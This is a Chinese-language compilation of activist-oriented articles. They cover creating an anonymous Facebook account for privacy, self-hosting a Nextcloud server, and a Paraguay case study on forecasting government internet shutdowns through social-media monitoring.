世界各地的活动家们一直在反对这种在全国范围内大规模侵犯隐私权的行为，推动通过地方和州一级的立法，禁止使用它、或者提供有效的公民监督。中国没有公民社会和隐私活动家，于是反监视的工作更多需要每个人自己动手。还是那句话，首先应该重视起来，要知道这种威胁已经无处不在。

以上只是相关反监视技术中的几种，如果您还有其他办法，欢迎在评论中留言讨论。

原文

如何建立一个匿名社交媒体账户以保护个人数据的私密性？ - iyouport

护盾（AS）

【2019年10月16日存档】利用它，同时阻止它利用你，是有可能的

许多人正在考虑加入#DeleteFacebook运动。

但是彻底离开可能很困难；各种人际关系都在那里，活动家们的宣传能力和影响力已经深刻地嵌入了 Facebook 搭建的网络。

这就是为什么呼声很高，但实际上真正离开的人很少。

🌤如果您想在不牺牲隐私的情况下保持社交关系和影响力，则需要按照以下步骤操作。

在开始之前请记得：互联网上的任何东西都不是真正私密的。

所有注册 Facebook 的人都应该知道你的每个朋友、你接受的每件事、以及你查看过的每张图片都会被该公司记录和跟踪。

但是，在创建可严格限制 Facebook 有权访问的信息的新配置时，你完全可以采取一些步骤来缓解这一监视状态的严重性。

⚠同时提醒：推特也一样！下面这个消息来自上个月，讲述的是关于中国当局如何抓捕使用推特的人 —— 但图中建议的方法不实用：

不实用是因为，这种方法在「社交媒体情报」的侦查面前是无用的。

以上的消息不是特例。

另一个消息：

最好的避免措施是：从一开始您就不应该被当局或者任何追踪者关联到真实身份。也就是我们曾经多次强调过的安防思路，详见：

- 《如何切断真身身份》
- 《更稳妥的方法：采取不同的身份并彼此保密的方法》
- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》
- 《尤其是对于普通人来说：别犯低端错误》

本指南介绍如何制作匿名的 Facebook 账户，但是要知道，⚠这些方法也同样适合于 Twitter和其他寡头控制的社交媒体平台。

马上开始。

步骤是这样的。

第一步：制作一个 **Burner Email** 或一次性电话号码

首先，您需要使用*仅用于*新*个人资料的电子邮件帐户或电话号码进行注册。

⚠如果您使用已经预先存在的电子邮件帐户或电话号码，您的邮件、搜索历史记录、关联的应用程序等等一切，都是 Facebook 及其广告客户的免费大餐。

最好的做法是什么？当然是白手起家。

对于 Burner Email，您可以通过几种方式进行操作。

首先，您可以注册一个新的电子邮件帐户，并仅用于创建您的匿名 Facebook 个人资料。

您可以选择最适合您的电子邮件服务 —— ⚠重点是确保它仅用于您的新**Facebook**帐户。

- 关于《如何创建全套新身份》、《角色扮演技巧》

🌤更安全的方法是利用 Temp Email 应用程序。

使用此应用程序，它将生成一个与您或您的个人信息完全无关的临时电子邮件地址。

使用此应用程序，您将收到发送到此电子邮件地址的任何电子邮件，例如任何帐户验证或确认码。

当你不需要它时，你可以点击“更改”，基本上可以永远摆脱它。

- **Install Temp Mail: Android (free) | iOS (free)**

由于 Facebook 允许您使用电话号码注册，如果您认为 Burner Email 地址太麻烦，您可以随时创建一次性电话号码。

与电子邮件一样，这是一个虚假的临时号码，允许您在保护数据的同时注册和使用 Facebook。

- 在这里看到如何注册使用一次性号码《4款最佳一次性手机号码应用：适用 Android & iPhone》

第二步：使用 **Island** 隔离 **Facebook**（仅适用于 **Android**）

当您在 Android 设备上创建 Facebook 帐户时，Facebook 将获取可访问的尽可能多的信息。

⚠Facebook 已经找到了一种方法，可以在不提醒用户且无需权限的情况下仍然访问历史记录。

这就是为什么为了保护自己你应该完全将 **Facebook** 应用与数据隔离开来。使用利用 Android 的 Managed Profiles 功能的应用程序可以实现这一点。

Island 是一个早期应用程序，它创建了一个沙盒环境，您可以在其中克隆应用程序并将其与数据隔离开。

虽然它无法消除所有数据泄漏（特别是设备绑定数据，如SMS和IMEI），但它确实禁止应用访问诸如通话记录、联系人和照片之类的信息。

- **Play Store Link: Island (Unreleased) (free)**

首先，从Play商店下载 Island。打开应用程序，然后在下一页上选择“接受”和“接受并继续”。

完成后，将显示主页面，其中包括已安装在沙盒环境中的一些应用程序。

要将 Facebook 移至此环境，首先要确保它像普通应用程序一样安装在手机上，然后选择 Island 主菜单底部的“Mainland”选项卡（或直接拖动）。

现在，选择 Facebook 应用程序，在导航按钮上方，这将提示您允许 Island 安装该应用程序。

选择“设置”并激活切换以开始在沙盒环境中安装克隆的应用程序。

完成后，返回 Island 选项卡查看 Facebook 应用程序。

你可以看到两个版本的应用程序，即普通应用程序和一个带有行李箱图标的应用程序（克隆的应用程序）。

现在卸载“mainland”上的应用程序，导航到该版本的“App Info”页面，该页面的图标顶部没有小行李箱标志。

然后只需点击“卸载”或“禁用”。这将使您只使用克隆的应用程序，由于沙盒环境，该应用程序是孤立的。

第三步：脱离官方 **Facebook** 应用程序

这个步骤在某种程度上是可选的，但是，在了解到 Facebook 应用程序有多可怕之后，你可能很想要完全抛弃官方 Facebook 应用程序。

最好的方法是使用 Facebook 移动网站或 Facebook wrapper app。

如果您正在运行 Android，建议使用名为 Metal 的应用。它是一个 Facebook wrapper app，旨在取代官方 Facebook 应用程序，除其他外，它阻止广告并且更省电。

虽然它可能无法提供万无一失的安全性，但 Metal 不会像官方版本那样请求或使用敏感设备权限。

如果您在安装后跳到设置」权限，您将看到 Metal 没有启用权限。

与官方应用程序一样，建议在 Island 内安装 Metal。

- **Play Store Link: Metal for Facebook & Twitter (free)**

如果您使用的是iOS并且缺少 Metal 体验，请考虑使用浏览器打开 Facebook。

虽然您不会获得本机安全，但 Safari 确实安装了一些隐私设置。

至少使用移动网站将延长您的 iPhone 寿命。

不要下载 Facebook 应用程序—转到 Facebook.com。

第四步：安装**VPN**

即使有完全错误的凭据 Facebook 仍然可以在使用其服务时跟踪您的位置。

虽然有要禁用的位置设置，但是如果您想确保 Facebook 无法跟踪您的新帐户，最好的办法是安装VPN。

可以阻止应用程序根据您的IP地址确定您的位置。

您选择的 **VPN** 需要可以加密您的数据，阻止 Facebook 访问在后台运行或当前正在使用的其他应用程序的数据。

在这里找到VPN推荐《安全手册》

第五步：删除和禁用位置历史数据

Facebook 有一项称为“位置历史记录”的功能，它是随着您使用该应用程序而制作的一组位置记录。

但是，由于您的位置可用于识别您的身份，因此为了匿名，您应该将其关闭。（在设置里面，按照步骤做）

第六步：创建一个新的 **Facebook** 帐户

一旦您考虑了上述步骤，无论是在iOS还是Android上，现在是时候创建新的 Facebook 个人资料了。

前往Facebook.com，或打开 Metal 以开始使用。

点击“创建新帐户”，然后输入假名字。

接下来，输入您的一次性电话号码，或通过点击下一步的“使用电子邮件注册”输入您的一次性电子邮件。完成后，点按“下一步”。

接下来，输入密码，然后点击“注册”。

如果出现提示，您可以选择是否一键登录 Facebook，而不是使用您的姓名和密码登录。

如果您提供了电话号码，Facebook 将向您发送短信验证代码，如果

您输入了电子邮件，则会向您发送验证邮件。

欢迎来到您的新的、匿名的以隐私为中心的 Facebook 帐户。

现在，您无需交出个人信息即可查看群组、活动等。

配置完这些设置后……

第七步：更改您的 **Facebook** 隐私设置

仅仅因为您在上述步骤中采取了预防措施，并不能保护您免受 Facebook 上的某些隐私侵权行为的侵害。

默认情况下，您的帐户的隐私设置并不完美，您使用帐户的时间越长保密性越低。

请更改设置。

虽然 Facebook 仍然有很多方法可以在事后滥用您的隐私，但更改这些设置可以为您提供一些装备。在今天的世界里，你只需要拿走你能得到的东西。

- 把帖子设置为仅限朋友；把简介设置为仅限自己；
- 好友列表设置为私密；
- “时间线”设置下选择“仅限朋友”或“仅限自己”才能发帖；
- “位置”设置为“从不”
- 点击“帐户设置”下的“面部识别”选择“不”；
- 在“帐户设置”中的“广告”下，您会找到“您的信息”等设置，其中会显示广告客户可以访问您的个人资料的哪些部分，在此禁用所有选项。

第八步：阻止隐藏权限（**Android—需要Root**）

虽然 Android 确实允许用户管理应用程序可访问的权限，但 Facebook 可以访问得更多，并且默认情况下您无法对这些侵犯进行任何阻止操作。

例如，即使关闭位置权限，Facebook 仍然可以使用您的网络确定您的大致位置，这是位置权限未涵盖的内容。

这就是您需要 App Ops 的原因。

- **Play Store Link: App Ops (free)**

最初是 Android 4.3 Jelly Bean 中的隐藏功能，App Ops 允许您调整各个应用程序的大量权限，包括默认情况下 Android 没有控件的应用程序。

此应用程序还将在最后授予权限时通知您。

对于大多数权限，您要么允许应用程序访问、要么拒绝它、要么仅在使用时允许，从而节省电池电量并保护您的隐私。

但对于Facebook，应该禁止一切。

使用 App Ops 的最简单方法是 root 设备。但是，也可以在没有 root 的情况下使用，这需要ADB命令。

安装完成后，打开 App Ops 并选择“Facebook”。然后逐行选择每个条目并拒绝其访问，阻止应用程序了解您的身份。〇

原文

如何打造自己的云，逃离监视资本主义：Nextcloud 入门 - iyouport

护盾（AS）

【2020年10月23日存档】不需要很多技术就能做到，而且有特别多的教程支持您

冠状病毒爆发带来的部分巨大动荡意味着我们很多人突然不得不在家工作。与同事保持联系并就工作项目进行协作的挑战导致了 Zoom、Microsoft Teams、Slack 和 Google Docs 等成熟服务的用户数量大幅增长。

- 《不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全》

这些都是具有很多功能的应用，但是，对于担心自己的隐私人权或必须遵守GDPR法规的用户来说，它们也有相当大的弊端。

Zoom 会与第三方共享你的数据，Google 会给自己创建的文档一些专有权力，而你的 Slack 对话可能并不像你想象的那样私密。

这些应用程序质量高、方便，隐私问题可能不是许多用户关心的问题——但是，如果你担心被监视和法律问题，如 GDPR，或者你只是希望自己的数据仍然在自己的控制之下，该怎么办？

nixinte 介绍了一个方法。

与这些其他服务相比，Nextcloud 允许您完全配置自己的云平台，这样您的数据和活动就不会与任何第三方共享。

它拥有越来越多的应用程序，允许您通过简单的一键式附加组件构建自己的自定义云系统，因此您可以轻松复制一些您在其他平台上体验到的聊天、文件共享、协作、日历、视频会议和社交功能等。

它还带有很多额外的安全和隐私功能，现在正成为法国和德国政府的

首选云解决方案。

Nextcloud 拥有您可能读到的最简单、最清晰的隐私政策，这并非巧合。

我第一次使用 Nextcloud 是在三年前，因为想尝试构建自己的云存储服务器。

这是我的第一个 Linux 服务器项目之一，通过做这个项目我学到了很多东西。一路走来，我犯了一些错误，但在三年的持续使用中，它从未失败过。

在 **Nextcloud** 上的私人数据或活动没有一个字节被转移到任何第三方。

现在我在家工作的时间越来越多，已经将服务器扩大了一些，所以除了文件共享之外，现在还包括视频会议、项目协作和许多其他生产力工具。

当您在家工作时，不必为了保持连接而用自己的隐私人权和安全做交易。

这篇文章向您展示了如何设置和运行您自己的 Nextcloud 服务器，并安装一些生产力应用程序。

如果您以前从来没有做过这样的事，也不必担心 —— 没有必要开始修补命令行和命名服务器。Nextcloud 可以无限扩展 —— 你可以建立自己的个人云，也可以将其作为企业级云服务来运行。

本指南旨在让您快速启动和运行，因此我们将从最小的 Nextcloud 服务开始，但使其更大并添加额外的应用程序非常容易，就像您即将看到的那样。

入门

「图」

Nextcloud 能够提供高度的隐私，因为它不提供免费托管迫使您用自己的数据做交换。Nextcloud 只是软件，所以要运行它，您必须得自己提供服务器空间。

有两种方法可以做到这一点。您可以从底层创建自己的 Nextcloud 服

务器，比如 Digital Ocean，或者可以使用一些专用的 Nextcloud 托管提供商，他们会给您提供一个现成的产品，您可以根据自己的意愿进行定制。

本指南假设您想拥有自己的 Nextcloud 服务器并运行，而不需要从头开始搭建，所以下面会向您展示如何使用专用提供商来设置 Nextcloud。

如果您的技术性更强一些，想从头开始构建服务器，那么本文的最后链接了一些资源可以帮助您。

使用专用的提供商意味着您不必担心管理备份、防火墙、证书以及其他使服务器正常运行的细节，因此在本指南中不再赘述。

决定你想要什么

「图」

本指南将展示如何用 OwnCube 设置 Nextcloud 服务器。

大多数 Nextcloud 提供商提供了一个免费的个人云，有几个应用程序和几个GB的存储空间，但没有选项让您添加额外的用户或安装其他应用程序，如果您想在家协作工作，您就需要这样做。

OwnCube 最基本的套餐费用为每月5欧元，100GB的服务器，你将可以在 Nextcloud 服务中添加自己的用户、群组和应用。一个10TB的服务器每月的费用是60欧元。

如果您不希望使用 OwnCube，那么可以使用许多其他 Nextcloud 提供商。值得注意的是，它们主要在隐私政策严格且GDPR为标准的国家/地区提供服务：

无论您选择哪家提供商，在注册过程结束时，您都会有一个用户名、密码和一个新创建的服务器的URL。大多数提供商将为您的服务器提供一个免费的子域，这样您闪亮的新 Nextcloud 服务器将位于某个地方，如

https://myserver.myprovider.com

。

安装桌面客户端

「图」

Nextcloud 可以在您自己的电脑和服务器之间同步文件。

要做到这一点，您需要为自己的操作系统安装 Nextcloud 客户端。有 Windows、Mac 和 Linux 的客户端，也有 Android 和 iOS 的移动客户端。安装并运行后，您会看到这样的画面：

点击“登录”，然后在提示时输入您的域的网址（如

https://mycloud.owncube.com

）以及用户名和密码。接下来，您将在自己的电脑上创建一个本地文件夹，这将与您的新 Nextcloud 服务器同步。

您在本地进行的任何文件更改都将复制到云端，反之亦然。如果您不想同步本地 Nextcloud 文件夹中的所有内容，可以指定哪些文件夹要包含、哪些要忽略。

添加移动应用

「图」

Nextcloud 还包括一个 Android 或 iOS 应用程序，允许您在云和移动设备之间同步一切。

只需下载并安装该应用，然后输入您的服务器名称、用户名和密码 —— 很简单！如果您是一个注重隐私的人，想减少对谷歌的依赖，可以将您的 **Android** 手机设置为停止与谷歌照片同步，而只与您的个人 **Nextcloud** 同步。

「图」

将应用程序添加到 Nextcloud

「图」

Nextcloud 提供了越来越多的应用程序，您可以添加到自己的服务器上。其中一些是成熟的，虽然您会看到有些还是测试版。

您需要成为管理员才能安装应用程序，所以请注意，大多数免费套餐账户不授予您管理员权限。如果您是管理员用户，点击服务器主页右上方的个人资料图标，选择 “Apps”。

现在，屏幕左侧有一个小的应用程序商店，可让您浏览可用的应用程序：

应用商店看起来像这样：

选择您想要的应用，然后点击 “下载并启用”。这就是您要做的一切!

安装后，每个应用程序都有自己的设置页面，您可以根据需要进行其他更改。已安装的应用程序可从屏幕顶部的工具栏访问。

「图」

在此示例中，您可以看到文件管理器、活动日志、库、邮件、联系人、圈子、日历、密码库、便笺和其他应用程序已安装并可以使用。

为了增强 Nextcloud 服务器的安全性，建议您为用户账户添加基于设备的双因素认证，安装密码强制保护，并启用 HaveIBeenPwned。后者使用 HaveIBeenPwned API 来检查用户账户密码。

任何与100万个最常用的密码相匹配的密码都是被禁止的，所以您的服务器上没有人能够使用 “password1” 或 “qwerty123” 来登录。

Nextcloud Talk

「图」

Talk 是迄今为止最有用的 Nextcloud 功能，用于在远程工作时与同事保持联系。它包含群组和个人聊天，音频和视频通话。建议观看下面这段简短的视频，其中突出介绍了一些功能：

Nextcloud Talk 使用 WebRTC 进行视频和音频聊天，因此它可以直接在浏览器中运行。

需要注意的一个限制是，如果没有增加一个 STUN 服务器来处理流量，WebRTC 不能在某种类型的网络上进行通话。

不过您不需要通过技术手段来解决这个问题 —— 像 Owncube 这样的专门提供商会在您的套餐中增加这个功能，每月只需支付3欧元。

随着视频会议需求的增加，您的服务器的工作量也会增加。不要指望能够在一个入门级的 Nextcloud 套餐上运行的视频通话中主持30多个参与者，尽管这些较小的服务器对于小用户数量来说是不错的。

Nextcloud Talk 为用户数超过50人的团体提供付费支持计划。

Nextcloud Talk 还附带了自己的 Android 和 iOS 移动应用程序（此应用程序与主要的 Nextcloud 应用程序分开）。

这是 Nextcloud 入门的非常简短的指南。按照这里描述的方式进行设置并不需要很长时间（不到一个小时），如果您陷入困境，可以找到一些出色的文档、支持论坛和数十个视频教程。

自托管

「图」

如果您更喜欢在自己的 Linux 服务器或VPS上托管 Nextcloud 的技术挑战，那么这里有一些有用的资源。您不需要成为一个 Linux 专业人员才能开始 —— 知道如何设置SSH连接；基本的防火墙，如UFW；基本的IDS，如Fail2ban，就足以开始。

- DigitalOcean—在 Ubuntu 服务器上设置 Nextcloud 的指南。
- Titus Tech Tips—该视频显示了如何设置 Nextcloud。
- Linuxbabe—用 Nginx 安装 Nextcloud。这种方法效果很好，但是如果您不确定怎么做，那么像在 DigitalOcean 教程中一样，使用 Snap 安装 Nextcloud 会更加简单。
- Techno Dad Life—有关如何使用 Docker 安装 Nextcloud 的视频教程。

○□

Make Your Own Cloud: Getting Started With Nextcloud

原文

如何用指标预测互联网中断？一旦断网还可以怎么办？ - iyouport

护盾（AS）

【2018年8月23日存档】如何在线观测大规模抗议？如何通过构建模型预测抗议活动中即将面临的网络通讯封锁？以去年发生的一次瞩目的大规模抗议事件为案例，本文是一个思路演示，体现一些观测和预测的模型构建，并附带一些关于协调的经验，希望能为组织者、行动者和观察家群体提供帮助。

互联网中断如今的出现频率更高了。根据国际权利组织 Access Now 发起的在线活动#KeepItOn 的调查，2016 年就记录到了全球范围内令人印象深刻的 56 次断网，该活动将断网定义为：“ 故意破坏互联网或电子通信，使其无法访问、或使其在特定人群或位置内无法使用，通常是为了控制信息的流动。“

有大量的学术文献和新闻报道提供了互联网封锁和个人网站审查封锁的资讯，以及它们与现实世界政治事件的联系。该领域的专业人士和活动家们已经进行了大量的研究，并继续讨论了触发互联网关闭的因素，以及对实现其预期目的的有效性。

在世界各国政府决定关闭互联网服务的各种理由中，一个非常普遍的特征是，所谓的或暗示的旨在防止物理骚乱蔓延的意图（可能是出于政治、宗教、经济或种族原因而发生的大型群体事件）。

因此，产生这项研究的动机在于我们是否能够在发生之前对其识别、分析和监测潜在的全面或选择性关闭的指标。本文希望成为一个分析性实验，开始填补这一空白，并提出一些关于潜在指标的想法，以便在公开场合进行监测。

测试分析模型

对一个国家的互联网流量采取严厉镇压措施的决定取决于其政府。虽

然人类的不可预测性是一个需要考虑的因素，特别是对于反复无常的当权者来说，但我们仍可以尝试制定一个模型，通过一些关键因素来评估这种决策出现的可能性：

理由：

- 在线动员成功地引发、促进或全面指导了群体事件;
- 反对党和领导人成功地利用社交论坛传播他们的信息，或压过了主流媒体的宣传地位;
- 该国公民的侨民社区—— 包括其外国媒体、非政府组织和其他实体—— 有效地分发宣传语言，进一步推动了大规模群体事件;

能力：

- 在互联网基础设施很简单、国有化、发育不良、和/或被当局易于控制的情况下;
- 互联网过滤和监控技术在国内早已家喻户晓的情况下;
- 当局已经被怀疑或已被证明了在线监视活动的部署。

并且，作为一个消极因素：

威慑力量：

- 该国的在线社区规模庞大，国际联系广泛;
- “数字经济” 涵盖了该国经济的很大一部分和/或已被作为战略性国家资产;
- 由于地缘政治背景，该国对国际压力很敏感。

——案例研究：巴拉圭——

巴拉圭这个贫穷的小国，去年正在经历一场（新的）宪法危机。总统奥拉西奥·卡特斯（Horacio Cartes）是一个统治该国权力节点并于 2013 年当选的小精英领袖，他试图强制实施一项宪法修正案，允许他在 2018 年再次当选。这被抗议者认为是经过将近三十年的民主后，这个国家已经出现了专制统治的明显转变。

事实上，阿拉贝多·斯特罗斯纳将军 (Alfredo Stroessner) 在巴拉圭统治了 35 年，其独裁统治于 1989 年结束。从那时起，该国的民主一直摇摇欲坠，并受到腐败和政治动荡的困扰。

2017 年3月31日，抗议者大批涌入国会，并点燃火把扔进建筑物。警

方的反应最终导致了反对党 PLRA 总部的风暴、以及一个年轻的党员和活动家 Rodrigo Quintana 的死亡。

骚乱持续到 2017 年 4月5 日。

研究方法

即使针对特定网站，互联网封锁也不一定是基于战略思想的理性决策。正相反此举经常是专制政府或军政府对他们统治的社会失去控制的下意识反应。

例如，泰国军政府于 2014 年5月28日短暂封锁了整个国家的 Facebook，以抑制 5月22日政变后抗议内容的传播，并随后向社交媒体公司施压以求“合作”; 印度国家当局经常断网，以限制所谓“谣言”的传播—基本上是煽动抗议和骚乱的消息—就像去年在奥里萨邦的状况那样。

考虑到这一点，要尽可能评估政府采取这种极端措施的可能性，就需要了解相关在线社区的情况。为了做到这点，在深入研究分析模型的三个类别之前，查看舆情上下文的关键部分可能很重要：即本地在线社区的动态。

」 人们如何访问互联网？

这是了解政府在限制或破坏互联网服务访问方面的杠杆作用和激励的关键问题。我们需要查看当前在线社区的行为：

- 固话宽带连接是最常用的访问网络的方式，还是移动服务占主导地位？
- 宽带服务是最受欢迎的社交方式，还是电话通信（包括短信）更常见？在互联网基础设施严重不发达的国家，尤其是在撒哈拉以南的非洲，这种情况是很普遍的。

在巴拉圭的背景下：

- 固话连接很少。在广受欢迎的移动互联网服务中，有两家供应商主导市场；
- 虽然电话服务仍然是一种重要的通信手段，但社交媒体的使用是很普遍的，在40岁以下的人口中占有很大的比例（约 70%），联合国儿童基金会估计 2014 年巴拉圭平均每个月在社交网络上创建大约 30 000 个新用户。

」该国的主要通信平台是什么？

社交媒体的使用因国家/地区而异。同样，即时消息传递应用在过去十年中发展迅速，并且根据所讨论社区的不同，存在很多重要差异。

经常被引用的一个消息来源是 Vincenzo Cosenza 的社交网络世界地图。至2017年1月（动乱发生时）的显示是这样的：

- 巴拉圭（以及拉丁美洲其他地区）的顶级热门社交媒体平台是 Facebook；
- 亚军是 Instagram；
- 可用的公共数据显示，Twitter 只是一个遥远的次要社交平台的存在。2017年3月，只有1.5%的社交媒体使用通过 Twitter 发生—而不是 Facebook 的 97%。其他消息来源也证实了这一点，包括本地产生的统计数据，估计截至 2016 年巴拉圭的 Twitter 用户为 400.000。

按国家/地区划分的使用即时消息应用的状况不太容易衡量。WhatsApp 在全球范围内仍然是一种无处不在的通信手段，特别是在发展中国家，但 Skype 仍然是世界上很多地区的主要通信渠道。telegram 也比较火，特别是在政治敏感的社区。最后，不应该忽视房间里的大象—— 全球有十亿用户在使用 Facebook Messenger 和同样水平的 WhatsApp。鉴于巴拉圭的移动连接太突出了，将它们视为该国可能非常受欢迎的在线交流方式似乎挺合理。

事实上，WhatsApp 的语音通话功能在 2015 年被两个主要的 ISP（Tigo 和 Personal ）短暂阻止过，可能是由于用户通过平台提供的免费 VoIP 服务绕过了付费电话计划—— 此消息暗示了 WhatsApp 巴拉圭社区的可能性规模。

好了，下面开始构建模型。

在线政治话语的当前情绪和轨迹是什么？

研究步骤

——Twitter 趋势——

在巴拉圭，正如前面所提到的，Facebook 和 Instagram引领市场。鉴于两者都在外部研究的数据收集、提取和操作方面存在一些重大挑战，一个好的做法是从较宽松的社交环境—从 Twitter 获得初始线索。

有几种工具可以快速捕获特定地理区域的主要 Twitter 趋势。对于此示例，我们将使用商业平台的趋势图（提供7天免费试用期）。

注意：不支持使用特定的商业网站、应用程序或软件。虽然我们决定在案例研究中使用此特定服务的演示版本有几个原因—易于使用、良好的可视化功能等—其实存在几种纯粹的开源服务，免费提供至少一部分功能。

4月2日在巴拉圭首都亚松森附近，揭示了该地区的以下主要趋势：

有些词汇和表情的特定意义是非常明确的。比如＃prayforparaguay显示了社会对暴力事件的恐慌，加上使用的是英语，似乎试图呼吁国际社会的关注（互联网是英语的天下）也能引起威权政府的注意;“violencia”显然也是一个主题。

两个有可能成为口号的标签比较突出。正如“阿拉伯之春”、 #Euromaidan 以及数字时代的众多其他在线起义所展示的那样，这些都是潜在的关键聚合因素，而且无论对实际城市动荡的影响如何，越来越的独裁偏执狂政府可能将这种标签的迅速传播视为潜在的威胁性存在，很容易引发互联网中断。

在这种情况下，＃golpeparlamentario（议会政变）和 #enmienda（修正案）在巴拉圭首都亚松森及周边地区获得了巨大的吸引力。后者提到的修正案就是被反对派提出抗议的那个，指其违反宪法和过度扩张。

＃golpeparlamentario，被使用的七天内达到了 26.000 个 tweet; #enmienda为 22.000。对于像巴拉圭这样不算大的互联网社区来说，这些都是很值得注意的数字。

同时，看一下在同一时间段内从巴拉圭发布的推文中使用的一般关键词，可以描绘出更加多样化的画面。它强调了对“enmienda”的关注（使用了 44.000 次），但它也显示了一些看似更为中性的术语，这些术语与可能的事件报道有关。 比如“Incendio”和“fuego”（两者都意味着火灾）或“bomberos”（消防员），都很可能与修正案获得批准后抗议者点燃国会事件有关。

趋势图也直接提到了 PLRA，通过对巴拉圭危机的初步背景研究得知，这正是反对党领导的抗议活动。他们的总部遭到警方的袭击，导致一名青年党员的死亡。

现在有了足够强大的潜力足以将研究转移到其他社交平台上。

——查找在线聚合：Facebook——

Facebook 作为一种无处不在的社区聚合手段，特别有利于协调和促进政治抗议活动。从“ 阿拉伯之春 ” 等重大革命趋势到相对本地化的和针对具体国家的动荡，各种先例都可验证这一事实。但同时它也是强大的追踪工具，抗议者尤其是发起人和积极人士，很容易因此被缉拿。

定位抗议协调的第一个合理目的地是 Facebook Events。可公共也可私人，还可以与大量人员共享—— 更重要的是被邀请者可重新共享，因此可以以指数级方式增加被邀请者列表。鉴于这些功能，它自然形成了一个协调街头抗议的平台，该产品自称用于各种休闲用途。

通过 Facebook 搜索栏初步了解 Trendsmap 上的一些热门主题标签和关键字下面的内容非常少。Facebook 上当前版本的搜索功能并不一定优先考虑趋势主题，但可能会对不同的动态做出响应。

然后，我们将通过简单的 Google 搜索尝试交叉。使用高级搜索运算符“ site： ”对社交平台来说非常强大（我们将来会详细介绍高级运算符的使用技巧），所以我们只需键入：

site:facebook.com/events paraguay 和 manifestación（西班牙文“演示”）

肯定会有一些不相关的结果出现，没关系，至少找到了一个有希望的结果：“ 捍卫（国家）宪法的示威公告”成为 3月30日在亚松森街头引发数千人抗议活动的社交媒体聚集和协调中心。

该活动由名为 Museo delaCorrupción 的 Facebook 页面创建。该页面包含大约 7.000 个粉丝，并显示了用于进一步推动抗议活动的口号图像（例如 #no，这是抗议议程的简单有效符号）。

这场新的抗议活动定于4月3日晚7点在 Plaza de Armas 举行（国会门前）。鼓励与会者带上白旗作为抗议标志，以及巴拉圭宪法的副本：

截至4月5日，没有观察到通过社交网络公开宣传的进一步示威活动，但抗议活动似乎大多是团结一致的（尽管出现了一些有趣的分裂团体称某 PLRA 委员会成员为“叛徒”），人们仍然不满意政府的回应，并且可能能够快速安排和推广新的街头抗议活动。

——通过视觉内容确认：**Instagram**——

Instagram 现在可以用来进一步衡量反对派运动的情绪和意图。快速浏览一下另一个主要抗议标签 #AsiNo（“ 不是那种方式 ”），发表了超过 40,000 个帖子，其中最受欢迎的帖子与巴拉圭示威活动有关：

现在已经完成了抗议运动的社交媒体足迹基本映射，并且能够监控其发展，以及将研究扩展到其他相关途径，稍后。

如何观察在线抗议的演变？

正如开源研究人员所知，并且如本案例研究中提到的那样，社交媒体平台的数据访问难度大不相同。Facebook 的 API 几乎不可能为外部操作提取数据。然而，Twitter 通过 API 自动化数据收集，提供了探索主题的好机会。可以通过各种方式完成—最明显的是自定义 Python 脚本—但为了简单和易于可视化，本文将使用另一个随时可用的平台：TAGS（Twitter Archive Google Spreadsheets），作者是 Martin Hawksey。

快速设置后，TAGS（您需要一个有效的 Twitter 帐户链接到每个新电子表格）允许研究人员浏览特定主题标签、关键字或目标用户的推文。对于本案例研究，我们将重点关注通过趋势图定位的四个主要标签中的一个，借此尝试了解其扩散模式。

最受欢迎的 #golpeparlamentario 相关的数据显示，自抗议初期达到峰值以来，它已经失去了吸引力：

有关主题标签的前10个推特用户，共有 245 条相关推文，已经看到 #golpeparlamentario 标签在检查期开始时飙升—时间跨度在 6–9 天之间，遗憾的是由于固有限制难以更好地定义到Twitter API。

看看标签在前三天的扩散情况表明它仍在使用，尽管速度已经慢下来了：

两天内使用 #golpeparlamentario 的转发最多的推文集中在对警察行动的调查，所谓的缓慢运动，与抗议的快速镇压相对：

「图」

这是基于转推量看的一个比较受欢迎的推文：

接下来是：# 对剩余的标签重复相同的分析;

- 验证新的抗议主题标签在社区内是否有发挥作用;
- 手动研究 Facebook 和 Instagram，寻找重新动员抗议的关键指标（FB events，病毒式传播的照片或 Meme 等内容的共享，或其他可引发街头行动的方式）;

我们可以得出结论，在众议院于4月5日中止宪法修正案之后，除个别活跃的活动家外，大部分抗议活动失去了动力。这便减轻了当局一些直接压力，可能减少了对存在威胁的看法，并降低了断网的可能性。

以下是第二个模型：能力。

政府关闭互联网有多容易？

巴拉圭仍然是一个上网率不高的国家，截至 2017 年1月，只有 47% 的人口访问互联网（根据“独立报”重新发布的统计数据）。

在一个内陆国家、欠发达的固话互联网基础设施、国有巴拉圭通信公司（Copaco）的垄断—巴拉圭的网民自 2009 年自由化以来，已经转向了爆发性长的移动市场。

截至 2016 年，移动互联网服务的市场渗透率估计约为 110%，而固定宽带仅为 2.6%。主要的移动提供商是 Tigo，被认为是市场领导者，其次 Personal（由 Telecom Argentina 拥有），Claro 和 Vox。

如果不同的私营运营商反对对可能带来灾难性财务后果的断网能形成一些阻力，那么移动互联网市场的相对分散可能会使中央政府稍微不那么利益控制它。然而，这远远没有消除在线监视、审查甚至网络完全关闭的风险。

至于监视，巴拉圭在五月份辞职的总统奥拉西奥卡特斯的领导下，已经在试图实施有争议的措施。例如，一项旨在迫使互联网服务供应商长期保留数据的法案，被称为“ Pyrawebs ”，最终在全球活动家和当地互联网社区虚拟起义后，于2015年中期被众议院和参议院否决。

大约在同一时间，巴拉圭政府进入了加拿大公民实验室报告的引用，他们可能是 **FinFisher** 间谍软件技术的使用者，该间谍软件不仅被用于执法调查，而且还被用于政治间谍活动，针对反对派和异议。

近年来，在线言论审查也是一个严重的问题。例如，在 2012 年，两个市场主导的移动运营商（Tigo 和 Personal）几乎整天都在阻止对本地网站的访问，主要针对的是回复政治类内容评论的用户，而且封锁没有法庭命令。

互联网关闭是最终极的激烈措施，在巴拉圭仍然是史无前例的。

总体而言，在较高的层面上，我们了解到了一个不成熟的互联网基础设施，在一个小国，其政府已经显示出至少致力于关于监视和控制的显著迹象，以及有针对性的审查技术的存在。

如果政治动荡进一步加剧，并有影响政治现状的能力，可以认为全面的互联网阻滞是可能的。

最后分析一下可能构成威胁的因素。

什么能阻止政府实施断网和延长断网时间？

成本损失是互联网关闭期间的一个关键因素，预测起来比较困难：2011 年为期五天的埃及互联网阻塞估计至少产生了9亿美元的直接成本。由于“互联网经济” 平均占发展中国家国内生产总值的5%左右，作为 2016 年 GDP 世界排名第111位的国家，很难想象巴拉圭政府会主动损伤其国家经济，现在的损失可能很容易就会达到数亿美元。

